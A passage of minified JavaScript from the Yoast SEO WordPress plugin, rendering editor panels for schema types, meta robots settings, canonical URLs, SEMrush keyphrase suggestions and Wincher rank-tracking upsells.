analysis","wordpress-seo"),prefixIcon:{icon:"seo-score-none",color:va.colors.$color_grey},onClick:n},(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(Nt,{className:"yst-w-2.5 yst-h-2.5 yst-shrink-0",...a})))),"metabox"===e&&(0,c.createElement)("div",{className:"yst-root"},(0,c.createElement)(Kt,{id:"yoast-premium-seo-analysis-metabox-modal-open-button",onClick:n},(0,c.createElement)(Yt.SvgIcon,{icon:"seo-score-none",color:va.colors.$color_grey}),(0,c.createElement)(Kt.Text,null,(0,m.__)("Premium SEO analysis","wordpress-seo")),(0,c.createElement)(h.Badge,{size:"small",variant:"upsell"},(0,c.createElement)(Nt,{className:"yst-w-2.5 yst-h-2.5 yst-mr-1 yst-shrink-0",...a}),(0,c.createElement)("span",null,"Premium")))))};Mo.propTypes={location:y().string},Mo.defaultProps={location:"sidebar"};const qo=Mo,No=e=>{const[t,s]=(0,u.useState)(!1),{prefixIcon:r}=e;return(0,c.createElement)("div",{className:"yoast components-panel__body "+(t?"is-opened":"")},(0,c.createElement)("h2",{className:"components-panel__body-title"},(0,c.createElement)("button",{onClick:function(){s(!t)},className:"components-button components-panel__body-toggle",type:"button",id:e.buttonId},(0,c.createElement)("span",{className:"yoast-icon-span",style:{fill:`${r&&r.color||""}`}},r&&(0,c.createElement)(Yt.SvgIcon,{icon:r.icon,color:r.color,size:r.size})),(0,c.createElement)("span",{className:"yoast-title-container"},(0,c.createElement)("div",{className:"yoast-title"},e.title),(0,c.createElement)("div",{className:"yoast-subtitle"},e.subTitle)),e.hasBetaBadgeLabel&&(0,c.createElement)(Yt.BetaBadge,null),(0,c.createElement)("span",{className:"yoast-chevron","aria-hidden":"true"}))),t&&e.children)},Uo=No;No.propTypes={title:y().string.isRequired,children:y().oneOfType([y().node,y().arrayOf(y().node)]).isRequired,prefixIcon:y().object,subTitle:y().string,hasBetaBadgeLabel:y().bool,buttonId:y().string},No.defaultProps={prefixIcon:null,subTitle:"",hasBetaBadgeLabel:!1,buttonId:null};var $o=s(6746);const Bo=(0,Ht.makeOutboundLink)(),Wo=ht().div`
	padding: 16px;
`,Ko="yoast-seo/editor";function Yo({location:e,show:t}){return t?(0,c.createElement)(Yt.Alert,{type:"info"},(0,m.sprintf)(/* translators: %s Expands to "Yoast News SEO" */
(0,m.__)("Are you working on a news article? %s helps you optimize your site for Google News.","wordpress-seo"),"Yoast News SEO")+" ",(0,c.createElement)(Bo,{href:window.wpseoAdminL10n[`shortlinks.upsell.${e}.news`]},(0,m.sprintf)(/* translators: %s: Expands to "Yoast News SEO". */
(0,m.__)("Buy %s now!","wordpress-seo"),"Yoast News SEO"))):null}Yo.propTypes={show:y().bool.isRequired,location:y().string.isRequired};const jo=(e,t,s)=>{const r=(0,i.useSelect)((e=>e(Ko).getIsProduct()),[]),n=(0,i.useSelect)((e=>e(Ko).getIsWooSeoActive()),[]),a=r&&n?{name:(0,m.__)("Item Page","wordpress-seo"),value:"ItemPage"}:e.find((e=>e.value===t));return[{name:(0,m.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s expands to the current site wide default. */
(0,m.__)("Default for %1$s (%2$s)","wordpress-seo"),s,a?a.name:""),value:""},...e]},zo=e=>(0,m.sprintf)(/* translators: %1$s expands to the plural name of the current post type, %2$s and %3$s expand to a link to the Settings page */
(0,m.__)("You can change the default type for %1$s under Content types in the %2$sSettings%3$s.","wordpress-seo"),e,"{{link}}","{{/link}}");y().string.isRequired,y().string.isRequired,y().string.isRequired;const Ho=e=>{const t=jo(e.pageTypeOptions,e.defaultPageType,e.postTypeName),s=jo(e.articleTypeOptions,e.defaultArticleType,e.postTypeName),r=(0,i.useSelect)((e=>e(Ko).selectLink("https://yoa.st/product-schema-metabox")),[]),n=(0,i.useSelect)((e=>e(Ko).getIsWooSeoUpsell()),[]),[a,o]=(0,u.useState)(e.schemaArticleTypeSelected),l=(0,m.__)("Want your products stand out in search results with rich results like price, reviews and more?","wordpress-seo"),d=(0,i.useSelect)((e=>e(Ko).getIsProduct()),[]),p=(0,i.useSelect)((e=>e(Ko).getIsWooSeoActive()),[]),h=(0,i.useSelect)((e=>e(Ko).selectAdminLink("?page=wpseo_page_settings")),[]),g=d&&p,y=(0,u.useCallback)(((e,t)=>{o(t)}),[a]);return(0,u.useEffect)((()=>{y(null,e.schemaArticleTypeSelected)}),[e.schemaArticleTypeSelected]),(0,c.createElement)(u.Fragment,null,(0,c.createElement)(Yt.FieldGroup,{label:(0,m.__)("What type of page or content is this?","wordpress-seo"),linkTo:e.additionalHelpTextLink
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about page or content types","wordpress-seo")}),n&&(0,c.createElement)(gn,{link:r,text:l}),(0,c.createElement)(Yt.Select,{id:(0,Ht.join)(["yoast-schema-page-type",e.location]),options:t,label:(0,m.__)("Page type","wordpress-seo"),onChange:e.schemaPageTypeChange,selected:g?"ItemPage":e.schemaPageTypeSelected,disabled:g}),e.showArticleTypeInput&&(0,c.createElement)(Yt.Select,{id:(0,Ht.join)(["yoast-schema-article-type",e.location]),options:s,label:(0,m.__)("Article type","wordpress-seo"),onChange:e.schemaArticleTypeChange,selected:e.schemaArticleTypeSelected,onOptionFocus:y}),(0,c.createElement)(Yo,{location:e.location,show:!e.isNewsEnabled&&(b=a,E=e.defaultArticleType,"NewsArticle"===b||""===b&&"NewsArticle"===E)}),e.displayFooter&&!g&&(0,c.createElement)("p",null,(f=e.postTypeName,w=h,(0,$o.Z)({mixedString:zo(f),components:{link:(0,c.createElement)("a",{href:w,target:"_blank",rel:"noreferrer"})}}))),g&&(0,c.createElement)("p",null,(0,m.sprintf)(/* translators: %1$s expands to Yoast WooCommerce SEO. */
(0,m.__)("You have %1$s activated on your site, automatically setting the Page type for your products to 'Item Page'. As a result, the Page type selection is disabled.","wordpress-seo"),"Yoast WooCommerce SEO")));var f,w,b,E},Vo=y().arrayOf(y().shape({name:y().string,value:y().string}));Ho.propTypes={schemaPageTypeChange:y().func,schemaPageTypeSelected:y().string,pageTypeOptions:Vo.isRequired,schemaArticleTypeChange:y().func,schemaArticleTypeSelected:y().string,articleTypeOptions:Vo.isRequired,showArticleTypeInput:y().bool.isRequired,additionalHelpTextLink:y().string.isRequired,helpTextLink:y().string.isRequired,helpTextTitle:y().string.isRequired,helpTextDescription:y().string.isRequired,postTypeName:y().string.isRequired,displayFooter:y().bool,defaultPageType:y().string.isRequired,defaultArticleType:y().string.isRequired,location:y().string.isRequired,isNewsEnabled:y().bool},Ho.defaultProps={schemaPageTypeChange:()=>{},schemaPageTypeSelected:null,schemaArticleTypeChange:()=>{},schemaArticleTypeSelected:null,displayFooter:!1,isNewsEnabled:!1};const Go=e=>e.isMetabox?(0,u.createPortal)((0,c.createElement)(Wo,null,(0,c.createElement)(Ho,{...e})),document.getElementById("wpseo-meta-section-schema")):(0,c.createElement)(Ho,{...e});Go.propTypes={showArticleTypeInput:y().bool,articleTypeLabel:y().string,additionalHelpTextLink:y().string,pageTypeLabel:y().string.isRequired,helpTextLink:y().string.isRequired,helpTextTitle:y().string.isRequired,helpTextDescription:y().string.isRequired,isMetabox:y().bool.isRequired,postTypeName:y().string.isRequired,displayFooter:y().bool,loadSchemaArticleData:y().func.isRequired,loadSchemaPageData:y().func.isRequired,location:y().string.isRequired},Go.defaultProps={showArticleTypeInput:!1,articleTypeLabel:"",additionalHelpTextLink:"",displayFooter:!1};const Zo=Go;class Qo{static get articleTypeInput(){return document.getElementById("yoast_wpseo_schema_article_type")}static get defaultArticleType(){return Qo.articleTypeInput.getAttribute("data-default")}static get articleType(){return Qo.articleTypeInput.value}static set articleType(e){Qo.articleTypeInput.value=e}static get pageTypeInput(){return document.getElementById("yoast_wpseo_schema_page_type")}static get defaultPageType(){return Qo.pageTypeInput.getAttribute("data-default")}static get pageType(){return Qo.pageTypeInput.value}static set pageType(e){Qo.pageTypeInput.value=e}}const Xo=e=>{const t=null!==Qo.articleTypeInput;(0,u.useEffect)((()=>{e.loadSchemaPageData(),t&&e.loadSchemaArticleData()}),[]);const{pageTypeOptions:s,articleTypeOptions:r}=window.wpseoScriptData.metabox.schema,n={articleTypeLabel:(0,m.__)("Article type","wordpress-seo"),pageTypeLabel:(0,m.__)("Page type","wordpress-seo"),postTypeName:window.wpseoAdminL10n.postTypeNamePlural,helpTextTitle:(0,m.__)("Yoast SEO automatically describes your pages using schema.org","wordpress-seo"),helpTextDescription:(0,m.__)("This helps search engines understand your website and your content. You can change some of your settings for this page below.","wordpress-seo"),showArticleTypeInput:t,pageTypeOptions:s,articleTypeOptions:r},a={...e,...n,...(o=e.location,"metabox"===o?{helpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.metabox.schema.page_type"],isMetabox:!0}:{helpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.explanation"],additionalHelpTextLink:wpseoAdminL10n["shortlinks.sidebar.schema.page_type"],isMetabox:!1})};var o;return(0,c.createElement)(Zo,{...a})};Xo.propTypes={displayFooter:y().bool.isRequired,schemaPageTypeSelected:y().string.isRequired,schemaArticleTypeSelected:y().string.isRequired,defaultArticleType:y().string.isRequired,defaultPageType:y().string.isRequired,loadSchemaPageData:y().func.isRequired,loadSchemaArticleData:y().func.isRequired,schemaPageTypeChange:y().func.isRequired,schemaArticleTypeChange:y().func.isRequired,location:y().string.isRequired};const Jo=(0,qt.compose)([(0,i.withSelect)((e=>{const{getPreferences:t,getPageType:s,getDefaultPageType:r,getArticleType:n,getDefaultArticleType:a}=e("yoast-seo/editor"),{displaySchemaSettingsFooter:o,isNewsEnabled:i}=t();return{displayFooter:o,isNewsEnabled:i,schemaPageTypeSelected:s(),schemaArticleTypeSelected:n(),defaultArticleType:a(),defaultPageType:r()}})),(0,i.withDispatch)((e=>{const{setPageType:t,setArticleType:s,getSchemaPageData:r,getSchemaArticleData:n}=e("yoast-seo/editor");return{loadSchemaPageData:r,loadSchemaArticleData:n,schemaPageTypeChange:t,schemaArticleTypeChange:s}})),us()])(Xo),ei=({noIndex:e,onNoIndexChange:t,editorContext:s,isPrivateBlog:r})=>{const n=(e=>{const t=(0,m.__)("No","wordpress-seo"),s=(0,m.__)("Yes","wordpress-seo"),r=e.noIndex?t:s;return window.wpseoScriptData.isPost?[{name:(0,m.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,m.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"0"},{name:t,value:"1"},{name:s,value:"2"}]:[{name:(0,m.sprintf)(/* translators: the first %s translates to "yes" or "no", the second %s translates to the content type label in plural form */
(0,m.__)("%s (current default for %s)","wordpress-seo"),r,e.postTypeNamePlural),value:"default"},{name:s,value:"index"},{name:t,value:"noindex"}]})(s);return(0,c.createElement)(gt.LocationConsumer,null,(s=>(0,c.createElement)(u.Fragment,null,r&&(0,c.createElement)(Yt.Alert,{type:"warning"},(0,m.__)("Even though you can set the meta robots setting here, the entire site is set to noindex in the sitewide privacy settings, so these settings won't have an effect.","wordpress-seo")),(0,c.createElement)(Yt.Select,{label:(0,m.__)("Allow search engines to show this content in search results?","wordpress-seo"),onChange:t,id:(0,Ht.join)(["yoast-meta-robots-noindex",s]),options:n,selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.allow_search_engines"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the no-index setting on our help page.","wordpress-seo")}))))};ei.propTypes={noIndex:y().string.isRequired,onNoIndexChange:y().func.isRequired,editorContext:y().object.isRequired,isPrivateBlog:y().bool},ei.defaultProps={isPrivateBlog:!1};const ti=({noFollow:e,onNoFollowChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>{const r=(0,Ht.join)(["yoast-meta-robots-nofollow",s]);return(0,c.createElement)(Yt.RadioButtonGroup,{id:r,options:[{value:"0",label:"Yes"},{value:"1",label:"No"}],label:(0,m.__)("Should search engines follow links on this content?","wordpress-seo"),groupName:r,onChange:t,selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.follow_links"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the no-follow setting on our help page.","wordpress-seo")})}));ti.propTypes={noFollow:y().string.isRequired,onNoFollowChange:y().func.isRequired};const si=({advanced:e,onAdvancedChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>{const r=(0,Ht.join)(["yoast-meta-robots-advanced",s]),n=`${r}-input`;return(0,c.createElement)(Yt.MultiSelect,{label:(0,m.__)("Meta robots advanced","wordpress-seo"),onChange:t,id:r,inputId:n,options:[{name:(0,m.__)("No Image Index","wordpress-seo"),value:"noimageindex"},{name:(0,m.__)("No Archive","wordpress-seo"),value:"noarchive"},{name:(0,m.__)("No Snippet","wordpress-seo"),value:"nosnippet"}],selected:e,linkTo:wpseoAdminL10n["shortlinks.advanced.meta_robots"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about advanced meta robots settings on our help page.","wordpress-seo")})}));si.propTypes={advanced:y().array.isRequired,onAdvancedChange:y().func.isRequired};const ri=({breadcrumbsTitle:e,onBreadcrumbsTitleChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>(0,c.createElement)(Yt.TextInput,{label:(0,m.__)("Breadcrumbs Title","wordpress-seo"),id:(0,Ht.join)(["yoast-breadcrumbs-title",s]),onChange:t,value:e,linkTo:wpseoAdminL10n["shortlinks.advanced.breadcrumbs_title"]
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about the breadcrumbs title setting on our help page.","wordpress-seo")})));ri.propTypes={breadcrumbsTitle:y().string.isRequired,onBreadcrumbsTitleChange:y().func.isRequired};const ni=({canonical:e,onCanonicalChange:t})=>(0,c.createElement)(gt.LocationConsumer,null,(s=>(0,c.createElement)(Yt.TextInput,{label:(0,m.__)("Canonical URL","wordpress-seo"),id:(0,Ht.join)(["yoast-canonical",s]),onChange:t,value:e,linkTo:"https://yoa.st/canonical-url"
/* translators: Hidden accessibility text. */,linkText:(0,m.__)("Learn more about canonical URLs on our help page.","wordpress-seo")})));ni.propTypes={canonical:y().string.isRequired,onCanonicalChange:y().func.isRequired};const ai=e=>{const{noIndex:t,noFollow:s,advanced:r,breadcrumbsTitle:n,canonical:a,onNoIndexChange:o,onNoFollowChange:i,onAdvancedChange:l,onBreadcrumbsTitleChange:d,onCanonicalChange:p,onLoad:m,isLoading:h,editorContext:g,isBreadcrumbsDisabled:y,isPrivateBlog:f}=e;(0,u.useEffect)((()=>{setTimeout((()=>{h&&m()}))}));const w={noIndex:t,onNoIndexChange:o,editorContext:g,isPrivateBlog:f},b={noFollow:s,onNoFollowChange:i},E={advanced:r,onAdvancedChange:l},_={breadcrumbsTitle:n,onBreadcrumbsTitleChange:d},v={canonical:a,onCanonicalChange:p};return h?null:(0,c.createElement)(u.Fragment,null,(0,c.createElement)(ei,{...w}),g.isPost&&(0,c.createElement)(ti,{...b}),g.isPost&&(0,c.createElement)(si,{...E}),!y&&(0,c.createElement)(ri,{..._}),(0,c.createElement)(ni,{...v}))};ai.propTypes={noIndex:y().string.isRequired,canonical:y().string.isRequired,onNoIndexChange:y().func.isRequired,onCanonicalChange:y().func.isRequired,onLoad:y().func.isRequired,isLoading:y().bool.isRequired,editorContext:y().object.isRequired,isBreadcrumbsDisabled:y().bool.isRequired,isPrivateBlog:y().bool,advanced:y().array,onAdvancedChange:y().func,noFollow:y().string,onNoFollowChange:y().func,breadcrumbsTitle:y().string,onBreadcrumbsTitleChange:y().func},ai.defaultProps={advanced:[],onAdvancedChange:()=>{},noFollow:"",onNoFollowChange:()=>{},breadcrumbsTitle:"",onBreadcrumbsTitleChange:()=>{},isPrivateBlog:!1};const oi=ai,ii=(0,qt.compose)([(0,i.withSelect)((e=>{const{getNoIndex:t,getNoFollow:s,getAdvanced:r,getBreadcrumbsTitle:n,getCanonical:a,getIsLoading:o,getEditorContext:i,getPreferences:l}=e("yoast-seo/editor"),{isBreadcrumbsDisabled:c,isPrivateBlog:d}=l();return{noIndex:t(),noFollow:s(),advanced:r(),breadcrumbsTitle:n(),canonical:a(),isLoading:o(),editorContext:i(),isBreadcrumbsDisabled:c,isPrivateBlog:d}})),(0,i.withDispatch)((e=>{const{setNoIndex:t,setNoFollow:s,setAdvanced:r,setBreadcrumbsTitle:n,setCanonical:a,loadAdvancedSettingsData:o}=e("yoast-seo/editor");return{onNoIndexChange:t,onNoFollowChange:s,onAdvancedChange:r,onBreadcrumbsTitleChange:n,onCanonicalChange:a,onLoad:o}}))])(oi),li=window.yoast.relatedKeyphraseSuggestions,ci=window.wp.apiFetch;var di=s.n(ci);const pi=({countryCode:e,setCountry:t,newRequest:s,keyphrase:r,setRequestFailed:n,setNoResultsFound:a,setRequestSucceeded:o,setRequestLimitReached:i,response:l,lastRequestKeyphrase:d,userLocale:p})=>{const[m,h]=(0,u.useState)(e),g=(0,u.useCallback)((e=>{"error"in e&&(e.error.includes("TOTAL LIMIT EXCEEDED")?i():n(e))}),[i,n]),y=(0,u.useCallback)((async()=>{s(e,r),di()({path:"yoast/v1/semrush/country_code",method:"POST",data:{country_code:e}});const t=await di()({path:(0,Ut.addQueryArgs)("/yoast/v1/semrush/related_keyphrases",{keyphrase:r,country_code:e})});if(200===t.status)return 0===t.results.rows.length?void a():(o(t),void h(e));g(t)}),[e,r,s]);return(0,u.useEffect)((()=>{l&&r===d||y()}),[]),(0,c.createElement)(li.CountrySelector,{countryCode:e,activeCountryCode:m,onChange:t,onClick:y,className:"yst-mb-4",userLocale:p})};pi.propTypes={keyphrase:y().string,countryCode:y().string,response:y().object,lastRequestKeyphrase:y().string,setCountry:y().func.isRequired,newRequest:y().func.isRequired,setNoResultsFound:y().func.isRequired,setRequestSucceeded:y().func.isRequired,setRequestLimitReached:y().func.isRequired,setRequestFailed:y().func.isRequired,userLocale:y().string},pi.defaultProps={keyphrase:"",countryCode:"us",response:{},lastRequestKeyphrase:"",userLocale:null};const ui=pi;function mi(e){const{requestLimitReached:t,isSuccess:s,response:r,requestHasData:n,relatedKeyphrases:a}=e;return t?"requestLimitReached":!s&&function(e){return!(0,T.isEmpty)(e)&&"error"in e}(r)?"requestFailed":n?function(e){return e&&e.length>=4}(a)?"maxRelatedKeyphrases":void 0:"requestEmpty"}function hi(e){var t,s;const{response:r,lastRequestKeyphrase:n,keyphrase:a,newRequest:o,setCountry:i,renderAction:l,countryCode:d,requestLimitReached:p,setRequestFailed:u,setNoResultsFound:m,relatedKeyphrases:g,setRequestSucceeded:y,setRequestLimitReached:f,isPending:w,isRtl:b,isPremium:E,userLocale:_}=e;return(0,c.createElement)(h.Root,{context:{isRtl:b}},!p&&!E&&(0,c.createElement)(li.PremiumUpsell,{url:window.wpseoAdminL10n["shortlinks.semrush.premium_landing_page"],className:"yst-mb-4"}),!p&&(0,c.createElement)(ui,{countryCode:d,setCountry:i,newRequest:o,keyphrase:a,setRequestFailed:u,setNoResultsFound:m,setRequestSucceeded:y,setRequestLimitReached:f,response:r,lastRequestKeyphrase:n,userLocale:_.split("_")[0]}),!w&&(0,c.createElement)(li.UserMessage,{variant:mi(e),upsellLink:window.wpseoAdminL10n["shortlinks.semrush.prices"]}),(0,c.createElement)(li.KeyphrasesTable,{relatedKeyphrases:g,columnNames:null==r||null===(t=r.results)||void 0===t?void 0:t.columnNames,data:null==r||null===(s=r.results)||void 0===s?void 0:s.rows,isPending:w,renderButton:l,className:"yst-mt-4"}))}hi.propTypes={keyphrase:y().string,relatedKeyphrases:y().array,renderAction:y().func,requestLimitReached:y().bool,countryCode:y().string.isRequired,setCountry:y().func.isRequired,newRequest:y().func.isRequired,setRequestSucceeded:y().func.isRequired,setRequestLimitReached:y().func.isRequired,setRequestFailed:y().func.isRequired,setNoResultsFound:y().func.isRequired,response:y().object,lastRequestKeyphrase:y().string,isRtl:y().bool,userLocale:y().string,isPending:y().bool,isPremium:y().bool},hi.defaultProps={keyphrase:"",relatedKeyphrases:[],renderAction:null,requestLimitReached:!1,response:{},lastRequestKeyphrase:"",isRtl:!1,userLocale:"en_US",isPending:!1,isPremium:!1};const gi=(0,qt.compose)([(0,i.withSelect)((e=>{const{getFocusKeyphrase:t,getSEMrushSelectedCountry:s,getSEMrushRequestLimitReached:r,getSEMrushRequestResponse:n,getSEMrushRequestIsSuccess:a,getSEMrushIsRequestPending:o,getSEMrushRequestHasData:i,getSEMrushRequestKeyphrase:l,getPreference:c,getIsPremium:d}=e("yoast-seo/editor");return{keyphrase:t(),countryCode:s(),requestLimitReached:r(),response:n(),isSuccess:a(),isPending:o(),requestHasData:i(),lastRequestKeyphrase:l(),isRtl:c("isRtl",!1),userLocale:c("userLocale","en_US"),isPremium:d()}})),(0,i.withDispatch)((e=>{const{setSEMrushChangeCountry:t,setSEMrushNewRequest:s,setSEMrushRequestSucceeded:r,setSEMrushRequestFailed:n,setSEMrushSetRequestLimitReached:a,setSEMrushNoResultsFound:o}=e("yoast-seo/editor");return{setCountry:e=>{t(e)},newRequest:(e,t)=>{s(e,t)},setRequestSucceeded:e=>{r(e)},setRequestFailed:e=>{n(e)},setRequestLimitReached:()=>{a()},setNoResultsFound:()=>{o()}}}))])(hi),yi=c.forwardRef((function(e,t){return c.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),c.createElement("path",{d:"M2 11a1 1 0 011-1h2a1 1 0 011 1v5a1 1 0 01-1 1H3a1 1 0 01-1-1v-5zM8 7a1 1 0 011-1h2a1 1 0 011 1v9a1 1 0 01-1 1H9a1 1 0 01-1-1V7zM14 4a1 1 0 011-1h2a1 1 0 011 1v12a1 1 0 01-1 1h-2a1 1 0 01-1-1V4z"}))}));var fi,wi;function bi(){return bi=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},bi.apply(this,arguments)}const Ei=e=>c.createElement("svg",bi({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 425 456.27"},e),fi||(fi=c.createElement("path",{d:"M73 405.26a66.79 66.79 0 0 1-6.54-1.7 64.75 64.75 0 0 1-6.28-2.31c-1-.42-2-.89-3-1.37-1.49-.72-3-1.56-4.77-2.56-1.5-.88-2.71-1.64-3.83-2.39-.9-.61-1.8-1.26-2.68-1.92a70.154 70.154 0 0 1-5.08-4.19 69.21 69.21 0 0 1-8.4-9.17c-.92-1.2-1.68-2.25-2.35-3.24a70.747 70.747 0 0 1-3.44-5.64 68.29 68.29 0 0 1-8.29-32.55V142.13a68.26 68.26 0 0 1 8.29-32.55c1-1.92 2.21-3.82 3.44-5.64s2.55-3.58 4-5.27a69.26 69.26 0 0 1 14.49-13.25C50.37 84.19 52.27 83 54.2 82A67.59 67.59 0 0 1 73 75.09a68.75 68.75 0 0 1 13.75-1.39h169.66L263 55.39H86.75A86.84 86.84 0 0 0 0 142.13v196.09A86.84 86.84 0 0 0 86.75 425h11.32v-18.35H86.75A68.75 68.75 0 0 1 73 405.26zM368.55 60.85l-1.41-.53-6.41 17.18 1.41.53a68.06 68.06 0 0 1 8.66 4c1.93 1 3.82 2.2 5.65 3.43A69.19 69.19 0 0 1 391 98.67c1.4 1.68 2.72 3.46 3.95 5.27s2.39 3.72 3.44 5.64a68.29 68.29 0 0 1 8.29 32.55v264.52H233.55l-.44.76c-3.07 5.37-6.26 10.48-9.49 15.19L222 425h203V142.13a87.2 87.2 0 0 0-56.45-81.28z"})),wi||(wi=c.createElement("path",{stroke:"#000",strokeMiterlimit:10,strokeWidth:3.81,d:"M119.8 408.28v46c28.49-1.12 50.73-10.6 69.61-29.58 19.45-19.55 36.17-50 52.61-96L363.94 1.9H305l-98.25 272.89-48.86-153h-54l71.7 184.18a75.67 75.67 0 0 1 0 55.12c-7.3 18.68-20.25 40.66-55.79 47.19z"}))),_i=window.moment;var vi=s.n(_i);const ki=(0,Ht.makeOutboundLink)(),xi=e=>{const t=(0,m.sprintf)(/* translators: %d expands to the amount of allowed keyphrases on a free account, %s expands to a link to Wincher plans. */
(0,m.__)("You've reached the maximum amount of %d keyphrases you can add to your Wincher account. If you wish to add more keyphrases, please %s.","wordpress-seo"),e.limit,"{{updateWincherPlanLink/}}");return(0,c.createElement)(Yt.Alert,{type:"error"},(0,$o.Z)({mixedString:t,components:{updateWincherPlanLink:(0,c.createElement)(ki,{href:wpseoAdminGlobalL10n["links.wincher.pricing"]},(0,m.sprintf)(/* translators: %s : Expands to "Wincher". */
(0,m.__)("upgrade your %s plan","wordpress-seo"),"Wincher"))}}))};xi.propTypes={limit:y().number},xi.defaultProps={limit:10};const Si=xi,Ri=()=>(0,c.createElement)(Yt.Alert,{type:"error"},(0,m.__)("Something went wrong while tracking the ranking position(s) of your page. Please try again later.","wordpress-seo"));async function Ti(e,t,s,r=200){try{const n=await e();return!!n&&(n.status===r?t(n):s(n))}catch(e){console.error(e.message)}}async function Ci(e){try{return await di()(e)}catch(e){return e.error&&e.status?e:e instanceof Response&&await e.json()}}async function Ii(e){return(0,T.isArray)(e)||(e=[e]),await Ci({path:"yoast/v1/wincher/keyphrases/track",method:"POST",data:{keyphrases:e}})}const Li=ht().p`
	color: ${va.colors.$color_pink_dark};
	font-size: 14px;
	font-weight: 700;
	margin: 13px 0 10px;
`,Pi=ht()(Yt.SvgIcon)`
	margin-right: 5px;
	vertical-align: middle;
`,Ai=ht().button`
	position: absolute;
	top: 9px;
	right: 9px;
	border: none;
    background: none;
    cursor: pointer;
`,Oi=ht().p`
	font-size: 13px;
	font-weight: 500;
	margin: 10px 0 13px;
`,Fi=ht().div`
	position: relative;
	background: ${e=>e.isTitleShortened?"#F5F7F7":"transparent"};
	border: 1px solid #C7C7C7;
	border-left: 4px solid${va.colors.$color_pink_dark};
	padding: 0 16px;
	margin-bottom: 1.5em;
`,Di=e=>{const[t,s]=(0,u.useState)(null);return(0,u.useEffect)((()=>{e&&!t&&async function(){return await Ci({path:"yoast/v1/wincher/account/limit",method:"GET"})}().then((e=>s(e)))}),[t]),t};Di.propTypes={limit:y().bool.isRequired};const Mi=({limit:e,usage:t,isTitleShortened:s,isFreeAccount:r})=>{const n=(0,m.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,m.__)("Your are tracking %1$s out of %2$s keyphrases included in your free account.","wordpress-seo"),t,e),a=(0,m.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,m.__)("Your are tracking %1$s out of %2$s keyphrases included in your account.","wordpress-seo"),t,e),o=r?n:a,i=(0,m.sprintf)(
/* Translators: %1$s expands to the number of used keywords.
   * %2$s expands to the account keywords limit.
   */
(0,m.__)("Keyphrases tracked: %1$s/%2$s","wordpress-seo"),t,e),l=s?i:o;return(0,c.createElement)(Li,null,s&&(0,c.createElement)(Pi,{icon:"exclamation-triangle",color:va.colors.$color_pink_dark,size:"14px"}),l)};Mi.propTypes={limit:y().number.isRequired,usage:y().number.isRequired,isTitleShortened:y().bool,isFreeAccount:y().bool};const qi=(0,Ht.makeOutboundLink)(),Ni=({discount:e,months:t})=>{const s=(0,c.createElement)(qi,{href:wpseoAdminGlobalL10n["links.wincher.upgrade"],style:{fontWeight:600}},(0,m.sprintf)(/* Translators: %s : Expands to "Wincher". */
(0,m.__)("Click here to upgrade your %s plan","wordpress-seo"),"Wincher"));if(!e||!t)return(0,c.createElement)(Oi,null,s);const r=100*e,n=(0,m.sprintf)(
/* Translators: %1$s expands to upgrade account link.
   * %2$s expands to the upgrade discount value.
   * %3$s expands to the upgrade discount duration e.g. 2 months.
   */
(0,m.__)("%1$s and get an exclusive %2$s discount for %3$s month(s).","wordpress-seo"),"{{wincherAccountUpgradeLink/}}",r+"%",t);return(0,c.createElement)(Oi,null,(0,$o.Z)({mixedString:n,components:{wincherAccountUpgradeLink:s}}))};Ni.propTypes={discount:y().number,months:y().number};const Ui=({onClose:e,isTitleShortened:t,trackingInfo:s})=>{const r=(()=>{const[e,t]=(0,u.useState)(null);return(0,u.useEffect)((()=>{e||async function(){return await Ci({path:"yoast/v1/wincher/account/upgrade-campaign",method:"GET"})}().then((e=>t(e)))}),[e]),e})();if(null===s)return null;const{limit:n,usage:a}=s;if(!(n&&a/n>=.8))return null;const o=Boolean(null==r?void 0:r.discount);return(0,c.createElement)(Fi,{isTitleShortened:t},e&&(0,c.createElement)(Ai,{type:"button","aria-label":(0,m.__)("Close the upgrade callout","wordpress-seo"),onClick:e},(0,c.createElement)(Yt.SvgIcon,{icon:"times-circle",color:va.colors.$color_pink_dark,size:"14px"})),(0,c.createElement)(Mi,{...s,isTitleShortened:t,isFreeAccount:o}),(0,c.createElement)(Ni,{discount:null==r?void 0:r.discount,months:null==r?void 0:r.months}))};Ui.propTypes={onClose:y().func,isTitleShortened:y().bool,trackingInfo:y().object};const $i=Ui,Bi=()=>(0,c.createElement)(Yt.Alert,{type:"success"},(0,m.sprintf)(/* translators: %s: Expands to "Wincher". */
(0,m.__)("You have successfully connected to %s! You can now track the SEO performance for the keyphrase(s) of this page.","wordpress-seo"),"Wincher")),Wi=()=>(0,c.createElement)(Yt.Alert,{type:"info"},(0,m.sprintf)(/* translators: %s: Expands to "Wincher". */
